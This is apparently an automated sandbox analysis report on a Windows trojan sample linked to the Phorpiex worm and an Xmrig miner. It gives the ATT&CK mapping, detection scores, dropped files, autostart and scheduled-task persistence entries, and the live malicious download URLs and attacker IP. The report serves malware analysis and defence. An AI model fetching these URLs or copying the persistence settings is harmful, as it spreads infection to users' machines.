Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040D8A0 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	6_2_0040D8A0
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040DD70 CreateEventA,socket,bind,CreateThread,	6_2_0040DD70
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	6_2_0040EB00
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040C580 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	6_2_0040C580

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	11 Process Injection	121 Masquerading	11 Input Capture	2 System Time Discovery	Remote Services	11 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Disable or Modify Tools	LSASS Memory	23 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	12 Clipboard Data	Automated Exfiltration	15 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Data Transfer Size Limits	33 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	2 System Network Connections Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	14 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
gEkl9O5tiu.exe	47%	ReversingLabs	Win32.Trojan.MintZard
gEkl9O5tiu.exe	58%	Virustotal		Browse
gEkl9O5tiu.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\150623101.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Windows\ sysesvcmw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2550821914.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\150623101.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1925824589.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe	87%	ReversingLabs	Win32.Worm.Phorpiex
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\nxmr[1].exe	90%	ReversingLabs	Win64.Trojan.Xmrig
C:\Users\user\AppData\Local\Temp\150623101.exe	92%	ReversingLabs	Win32.Worm.Phorpiex
C:\Users\user\AppData\Local\Temp\2465513676.exe	90%	ReversingLabs	Win64.Trojan.Xmrig
C:\Users\user\AppData\Local\Temp\2550821914.exe	87%	ReversingLabs	Win32.Worm.Phorpiex
C:\Windows\ sysesvcmw.exe	87%	ReversingLabs	Win32.Worm.Phorpiex

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mx101.solcon.nl	0%	Virustotal		Browse
mx3.bol.com.br	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://185.215.113.66/from/n.txt	100%	Avira URL Cloud	malware
Http://185.215.113.66/5	100%	Avira URL Cloud	malware
http://185.215.113.66/from/706.txtn	100%	Avira URL Cloud	malware
http://185.215.113.66/getxmr	100%	Avira URL Cloud	malware
http://185.215.113.66/from/	100%	Avira URL Cloud	malware
http://185.215.113.66/1bbC:	100%	Avira URL Cloud	malware
http://185.215.113.66/from/http://185.215.113.66/from/n.txtB	100%	Avira URL Cloud	malware
http://185.215.113.66/getxmr%	100%	Avira URL Cloud	malware
http://185.215.113.66/4	100%	Avira URL Cloud	malware
http://twizt.net/peinstall.php%temp%%s	100%	Avira URL Cloud	malware
http://185.215.113.66/1	100%	Avira URL Cloud	malware
http://185.215.113.66/1C:	100%	Avira URL Cloud	malware
http://185.215.113.66/2u9o0b7n	100%	Avira URL Cloud	malware
http://185.215.113.66/3	100%	Avira URL Cloud	malware
http://185.215.113.66/5G	100%	Avira URL Cloud	malware
http://185.215.113.66/2	100%	Avira URL Cloud	malware
http://twizt.net/peinstall.php;O	100%	Avira URL Cloud	malware
http://185.215.113.66/	100%	Avira URL Cloud	malware
http://185.215.113.66/from/n.txtz	100%	Avira URL Cloud	malware
http://185.215.113.66/nxmr.exe	100%	Avira URL Cloud	malware
http://twizt.net/newtpp.exeP0	100%	Avira URL Cloud	malware
http://twizt.net/newtpp.exe	100%	Avira URL Cloud	malware
http://185.215.113.66/from/H	100%	Avira URL Cloud	malware
http://185.215.113.66/from/Tmlr	100%	Avira URL Cloud	malware
http://twizt.net/newtpp.exeV	100%	Avira URL Cloud	malware
http://twizt.net/peinstall.php	100%	Avira URL Cloud	malware
http://185.215.113.66/from/706.txt	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
alt3.gmail-smtp-in.l.google.com	142.250.157.27	true	false		high
mx0b-00164701.pphosted.com	67.231.157.15	true	false		high
kent-edu.mail.protection.outlook.com	52.101.11.7	true	false		high
mx-ha02.web.de	212.227.17.8	true	false		high
apsk12-org.mail.protection.outlook.com	52.101.11.7	true	false		high
mx3.bol.com.br	200.147.41.201	true	false	0%, Virustotal, Browse	unknown
mx1.naver.com	125.209.238.100	true	false		high
mx101.solcon.nl	212.45.32.235	true	false	0%, Virustotal, Browse	unknown
mail.faithforfathers.org	50.87.180.65	true	false		unknown
ricomedyconnection-com.mail.protection.outlook.com	104.47.59.138	true	false		high
mx1.ig.correio.biz	177.153.23.241	true	false		unknown
alt2.aspmx.l.google.com	74.125.200.26	true	false		high
smtpz4.laposte.net	160.92.124.66	true	false		high
mx0a-00164701.pphosted.com	67.231.149.15	true	false		high
aspmx3.googlemail.com	74.125.200.27	true	false		unknown
ontarionature-org.mail.protection.outlook.com	104.47.75.228	true	false		high
mx1.hc49497.c3s2.iphmx.com	68.232.156.120	true	false		high
mx00.emig.gmx.net	212.227.15.9	true	false		high
mx1.umd.iphmx.com	68.232.143.84	true	false		high
mx.tim.it	34.141.161.132	true	false		high
mx.inbound.vox.co.za	41.193.119.123	true	false		high
cocinasfuego.com	108.178.53.162	true	false		unknown
mx.wp.pl	212.77.101.4	true	false		high
mx01.emig.gmx.net	212.227.17.5	true	false		high
wigeon.in-mail.uvm.edu	132.198.101.209	true	false		high
grupotechnos-com-br.mail.protection.outlook.com	104.47.57.110	true	false		high
mx01.mail.icloud.com	17.57.156.30	true	false		high
mailc.aljazeera.net	194.6.255.77	true	false		high
byu-edu.mail.protection.outlook.com	104.47.57.110	true	false		high
mx1.hc167-46.ca.iphmx.com	216.71.132.28	true	false		high
cxr.mx.a.cloudfilter.net	34.212.80.54	true	false		unknown
udlap-mx.mail.protection.outlook.com	52.101.42.4	true	false		high
hooksisd-net.mail.eo.outlook.com	104.47.57.110	true	false		high
mx2.orcon.net.nz	202.180.64.207	true	false		unknown
stu-hopkins-kyschools-us.mail.protection.outlook.com	104.47.73.10	true	false		high
student-tp-edu-sg.mail.protection.outlook.com	52.101.132.28	true	false		high
mail.protonmail.ch	176.119.200.128	true	false		unknown
alt1.gmail-smtp-in.l.google.com	142.250.150.27	true	false		high
mx00.mail.com	74.208.5.20	true	false		high
mail.ampos.com	190.0.224.84	true	false		unknown
mxa-000c9b01.gslb.pphosted.com	205.220.178.177	true	false		high
cfstaffing-com.mail.protection.outlook.com	104.47.59.138	true	false		high
mxa-00073f02.gslb.pphosted.com	148.163.159.32	true	false		high
itesm-mx.mail.protection.outlook.com	104.47.73.10	true	false		high
mx3.zoho.com	136.143.191.44	true	false		high
biomax-co.mail.protection.outlook.com	104.47.51.110	true	false		high
smtp2.azet.sk	91.235.53.42	true	false		high
sportsfacilities.com	208.109.34.22	true	false		unknown
d234566b.ess.barracudanetworks.com	209.222.82.253	true	false		high
mta.vshosting.cloud	93.185.99.201	true	false		high
mxb-004e5401.gslb.pphosted.com	205.220.175.7	true	false		high
mx.interia.pl	217.74.65.64	true	false		high
stu-upes-ac-in.mail.protection.outlook.com	104.47.74.138	true	false		high
nam.olc.protection.outlook.com	104.47.56.161	true	false		high
gmail-smtp-in.l.google.com	108.177.127.27	true	false		high
thegreenchair-org.mail.protection.outlook.com	104.47.58.110	true	false		high
capitaifs-com.mail.protection.outlook.com	52.101.68.32	true	false		high
mx-stl.eco-mx.cz	46.255.225.8	true	false		unknown
mxs.my.com	95.163.54.140	true	false		high
mx.uol.com.br	200.147.41.231	true	false		unknown
mx.siteprotect.com	64.26.60.135	true	false		high
fb.mail.gandi.net	217.70.178.215	true	false		high
live-com.olc.protection.outlook.com	104.47.11.33	true	false		high
mxa.mailgun.org	34.149.236.64	true	false		unknown
mx1.hc147-99.eu.iphmx.com	207.54.68.161	true	false		high
mx1.hostinger.com.br	172.65.182.103	true	false		unknown
mx.poczta.gazeta.pl	213.180.142.193	true	false		high
mx-apac.mail.gm0.yahoodns.net	106.10.248.74	true	false		unknown
etb-3.mail.tiscali.it	213.205.33.61	true	false		high
outlook-com.olc.protection.outlook.com	104.47.66.33	true	false		high
vcsc-K12-in-us.mail.eo.outlook.com	104.47.70.110	true	false		high
trefita-com-br.mail.protection.outlook.com	104.47.58.110	true	false		high
twizt.net	185.215.113.84	true	false		unknown
mx2.hostinger.com	172.65.182.103	true	false		high
me1.regionofwaterloo.ca	192.237.29.12	true	false		high
cummins-cl.mail.protection.outlook.com	104.47.23.138	true	false		high
163mx01.mxmail.netease.com	103.129.252.82	true	false		high
mx3.mail.yahoo.co.jp	124.83.142.246	true	false		unknown
lierskolen-no.mail.protection.outlook.com	104.47.11.202	true	false		high
au-smtp-inbound-1.mimecast.com	103.13.69.26	true	false		high
mx1-us1.ppe-hosted.com	67.231.154.162	true	false		unknown
harlemvillage-org.mail.protection.outlook.com	104.47.70.110	true	false		high
mxa-00270501.gslb.pphosted.com	208.86.201.19	true	false		high
msn-com.olc.protection.outlook.com	104.47.58.33	true	false		high
void.blackhole.mx	195.201.28.161	true	false		unknown
mx3.naver.com	125.209.222.14	true	false		high
smtp1.rjf.com	170.12.104.95	true	false		high
dslcc-edu.mail.protection.outlook.com	104.47.51.110	true	false		high
mx-eu.mail.am0.yahoodns.net	188.125.72.74	true	false		unknown
al-ip4-mx-vip1.prodigy.net	144.160.235.143	true	false		unknown
mx.tlen.pl	193.222.135.150	true	false		high
alt2.gmail-smtp-in.l.google.com	74.125.200.26	true	false		high
mx2.hc576-93.ca.iphmx.com	216.71.131.95	true	false		high
titusregional-com.mail.protection.outlook.com	52.101.11.3	true	false		high
edge.hallco.org	96.5.242.13	true	false		high
mxa-0032a601.gslb.pphosted.com	148.163.145.63	true	false		high
ALT1.ASPMX.L.GOOGLE.com	142.250.150.27	true	false		high
alt4.gmail-smtp-in.l.google.com	173.194.202.27	true	false		high
mxs.mail.ru	94.100.180.31	true	false		high
mx2a1.comcast.net	96.103.145.164	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/from/n.txt	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/5	true		unknown
http://185.215.113.66/4	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/3	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/getxmr	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/2	true	Avira URL Cloud: malware	unknown
http://icanhazip.com/	false		high
http://185.215.113.66/1	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/nxmr.exe	true	Avira URL Cloud: malware	unknown
http://twizt.net/newtpp.exe	false	Avira URL Cloud: malware	unknown
http://twizt.net/peinstall.php	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/from/706.txt	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
Http://185.215.113.66/5	sysesvcmw.exe, 00000005.00000002.889397033.00000000002F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/1bbC:	sysesvcmw.exe, 00000005.00000002.889397033.00000000002A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	sysesvcmw.exe, 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp	false		high
http://185.215.113.66/5G	sysesvcmw.exe, 00000005.00000002.889729405.000000000247C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	sysesvcmw.exe, 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp	false		high
http://185.215.113.66/from/	1925824589.exe, 1925824589.exe, 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmp, 1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp, 1925824589.exe, 00000009.00000002.889442870.00000000003BD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/from/706.txtn	1925824589.exe, 00000009.00000002.891717748.0000000000464000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/1C:	sysesvcmw.exe, 00000005.00000002.889397033.0000000000274000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://icanhazip.com/.	1925824589.exe, 00000009.00000000.536791505.0000000000EA4000.00000002.00000001.01000000.00000006.sdmp, 1925824589.exe, 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmp	false		high
http://185.215.113.66/2u9o0b7n	2550821914.exe, 00000004.00000000.370258337.0000000000414000.00000008.00000001.01000000.00000004.sdmp, 2550821914.exe, 00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, 2550821914.exe, 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmp, sysesvcmw.exe, 00000005.00000000.379474721.0000000000414000.00000008.00000001.01000000.00000005.sdmp, sysesvcmw.exe, 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmp, sysesvcmw.exe, 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/peinstall.php%temp%%s	gEkl9O5tiu.exe	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/from/http://185.215.113.66/from/n.txtB	1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/getxmr%	sysesvcmw.exe, 00000005.00000002.889397033.00000000002C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/peinstall.php;O	gEkl9O5tiu.exe, 00000001.00000002.379592341.0000000000714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/	sysesvcmw.exe, sysesvcmw.exe, 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/from/H	1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp, 1925824589.exe, 00000009.00000002.889442870.00000000003BD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/from/Tmlr	1925824589.exe, 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/newtpp.exeP0	gEkl9O5tiu.exe	false	Avira URL Cloud: malware	unknown
http://twizt.net/newtpp.exeV	gEkl9O5tiu.exe, 00000001.00000002.379592341.000000000073C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/from/n.txtz	1925824589.exe, 00000009.00000002.891717748.0000000000464000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.47.18.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
5.233.236.95	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
203.42.40.138	extmail.bigpond.com	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
87.241.129.126	unknown	Armenia	12297	ARMENTELRepublicofArmeniaAM	false
104.47.2.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.101.42.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.47.11.33	live-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.212.80.54	cxr.mx.a.cloudfilter.net	United States	16509	AMAZON-02US	false
217.69.139.150	unknown	Russian Federation	47764	MAILRU-ASMailRuRU	false
104.47.57.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.180.154.243	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
142.251.31.26	unknown	United States	15169	GOOGLEUS	false
142.250.150.26	ASPMX2.GOOGLEMAIL.COM	United States	15169	GOOGLEUS	false
142.250.150.27	alt1.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
185.147.72.130	mx01.lytzenitmail.dk	Denmark	59701	LYTZENITDK	false
213.209.1.129	smtp-in.libero.it	Italy	8660	MATRIX-ASIT	false
209.222.82.252	d276014a.ess.barracudanetworks.com	United States	16509	AMAZON-02US	false
77.88.21.249	mx.yandex.net	Russian Federation	13238	YANDEXRU	false
98.136.96.77	unknown	United States	36646	YAHOO-NE1US	false
185.70.42.128	unknown	Switzerland	62371	PROTONCH	false
41.193.119.123	mx.inbound.vox.co.za	South Africa	11845	Vox-TelecomZA	false
173.194.202.27	alt4.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
173.194.202.26	ALT4.ASPMX.L.GOOGLE.com	United States	15169	GOOGLEUS	false
5.143.129.54	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
173.194.79.26	aspmx.l.google.com	United States	15169	GOOGLEUS	false
98.136.96.74	unknown	United States	36646	YAHOO-NE1US	false
98.136.96.75	mta7.am0.yahoodns.net	United States	36646	YAHOO-NE1US	false
98.136.96.76	unknown	United States	36646	YAHOO-NE1US	false
203.210.102.45	mail.oneunited.com.au	Australia	7496	WEBCENTRAL-ASWebCentralAU	false
31.58.71.101	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
212.27.48.6	mx1.free.fr	France	12322	PROXADFR	false
108.177.127.27	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
192.252.154.117	mail.gamil.com	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
132.198.101.209	wigeon.in-mail.uvm.edu	United States	1351	UVM-EDU-ASUS	false
148.163.145.63	mxa-0032a601.gslb.pphosted.com	United States	26211	PROOFPOINT-ASN-US-WESTUS	false
184.180.138.132	exchange.covenantacademy.net	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
67.195.228.94	unknown	United States	36647	YAHOO-GQ1US	false
52.179.17.190	mx1-us.emailsecurity.app	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
193.222.135.150	mx.tlen.pl	Poland	31080	O2-ASPL	false
82.137.199.137	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
104.47.57.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
212.77.101.13	mx5.wp.pl	Poland	12827	WIRTUALNAPOLSKAGDANSKPolandPL	false
151.245.109.155	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
104.47.74.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
111.125.158.109	unknown	Afghanistan	45178	ROSHAN-AFMainStreetHouseNo13WazirAkbarKhanAF	false
216.71.132.28	mx1.hc167-46.ca.iphmx.com	United States	16417	IRONPORT-SYSTEMS-INCUS	false
67.195.228.86	unknown	United States	36647	YAHOO-GQ1US	false
5.137.240.85	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
67.195.228.84	mx-aol.mail.gm0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
188.125.72.74	mx-eu.mail.am0.yahoodns.net	United Kingdom	34010	YAHOO-IRDGB	false
188.125.72.73	unknown	United Kingdom	34010	YAHOO-IRDGB	false
194.93.26.38	unknown	Russian Federation	34665	PINDC-ASRU	false
67.195.228.106	unknown	United States	36647	YAHOO-GQ1US	false
67.195.228.109	unknown	United States	36647	YAHOO-GQ1US	false
98.136.96.91	unknown	United States	36646	YAHOO-NE1US	false
207.54.68.161	mx1.hc147-99.eu.iphmx.com	United States	30238	AS-IRONP-VEGAUS	false
93.17.128.165	smtp-in.sfr.fr	France	15557	LDCOMNETFR	false
67.231.149.15	mx0a-00164701.pphosted.com	United States	26211	PROOFPOINT-ASN-US-WESTUS	false
103.129.252.82	163mx01.mxmail.netease.com	Hong Kong	137263	NETEASE-AS-APNETEASEHONGKONGLIMITEDHK	false
104.47.51.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.47.12.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.47.75.228	ontarionature-org.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.176.69.250	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	true
34.141.161.132	mx.tim.it	United States	2686	ATGS-MMD-ASUS	false
50.87.180.65	mail.faithforfathers.org	United States	46606	UNIFIEDLAYER-AS-1US	false
151.238.33.90	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
103.96.22.26	au-smtp-inbound-2.mimecast.com	Australia	136792	MIMECAST-AS-APMimecastAustraliaPtyLtdAU	false
173.252.87.251	smtpin.vvv.facebook.com	United States	32934	FACEBOOKUS	false
212.45.32.235	mx101.solcon.nl	Netherlands	12414	NL-SOLCONSOLCONNL	false
102.213.99.235	unknown	unknown	36926	CKL1-ASNKE	false
104.47.51.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.47.73.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
96.103.145.164	mx2a1.comcast.net	United States	7922	COMCAST-7922US	false
87.98.164.155	smtp.yopmail.com	France	16276	OVHFR	false
45.229.130.166	unknown	Guatemala	266688	CGInvestmentSociedadAnonimaGT	false
89.37.148.113	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
52.101.40.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.101.40.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
137.184.154.224	em4.catchservers.com	United States	11003	PANDGUS	false
62.212.36.229	unknown	Georgia	34797	SYSTEM-NETGE	false
104.47.74.10	horsepower-org.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
67.195.228.110	unknown	United States	36647	YAHOO-GQ1US	false
162.241.217.135	landdesigns.com	United States	46606	UNIFIEDLAYER-AS-1US	false
108.177.126.26	ASPMX.L.GOOGLE.COM	United States	15169	GOOGLEUS	false
67.195.228.111	unknown	United States	36647	YAHOO-GQ1US	false
207.211.30.141	us-smtp-inbound-1.mimecast.com	United States	30031	MIMECAST-US	false
104.47.17.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.90.152.141	mx.tin.it	United States	15169	GOOGLEUS	false
205.220.175.7	mxb-004e5401.gslb.pphosted.com	United States	22843	PROOFPOINT-ASN-US-EASTUS	false
34.149.236.64	mxa.mailgun.org	United States	2686	ATGS-MMD-ASUS	false
137.191.224.10	cwext.gn.gov.ie	Ireland	15806	ORG-IG30-RIPEIE	false
104.18.115.97	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
37.255.140.192	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
217.70.178.216	unknown	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	false
205.220.168.57	mx0a-00264602.pphosted.com	United States	26211	PROOFPOINT-ASN-US-WESTUS	false
104.47.56.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
136.143.191.44	mx3.zoho.com	United States	2639	ZOHO-ASUS	false
1.34.58.190	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false

Private

IP
192.168.1.111

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1292729
Start date and time:	2023-08-17 14:30:45 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	gEkl9O5tiu.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	2ea6c5e97869622dfe70d2b34daf564e
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@12/15@4697/100
EGA Information:	Successful, ratio: 85.7%
HDC Information:	Successful, ratio: 99.3% (good quality ratio 93.7%) Quality average: 82.1% Quality standard deviation: 27.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 87 Number of non-executed functions: 139
Cookbook Comments:	Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
Excluded IPs from analysis (whitelisted): 209.197.3.8, 20.109.209.108, 119.252.155.14, 202.137.234.30
Excluded domains from analysis (whitelisted): redir.update.msft.com.trafficmanager.net, mx.pro.rediff.akadns.net, www.update.microsoft.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, mx.rediffmail.rediff.akadns.net, wu-bg-shim.trafficmanager.net
Execution Graph export aborted for target 2465513676.exe, PID 9636 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:31:29	API Interceptor	131x Sleep call for process: gEkl9O5tiu.exe modified
14:31:39	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\sysesvcmw.exe
14:31:46	API Interceptor	2504x Sleep call for process: sysesvcmw.exe modified
14:32:54	API Interceptor	2981x Sleep call for process: 1925824589.exe modified
14:35:25	API Interceptor	262x Sleep call for process: 150623101.exe modified
14:35:39	Task Scheduler	Run new task: Windows Upgrade Manager path: "C:\Users\user\Windows Upgrade\wupgrdsv.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
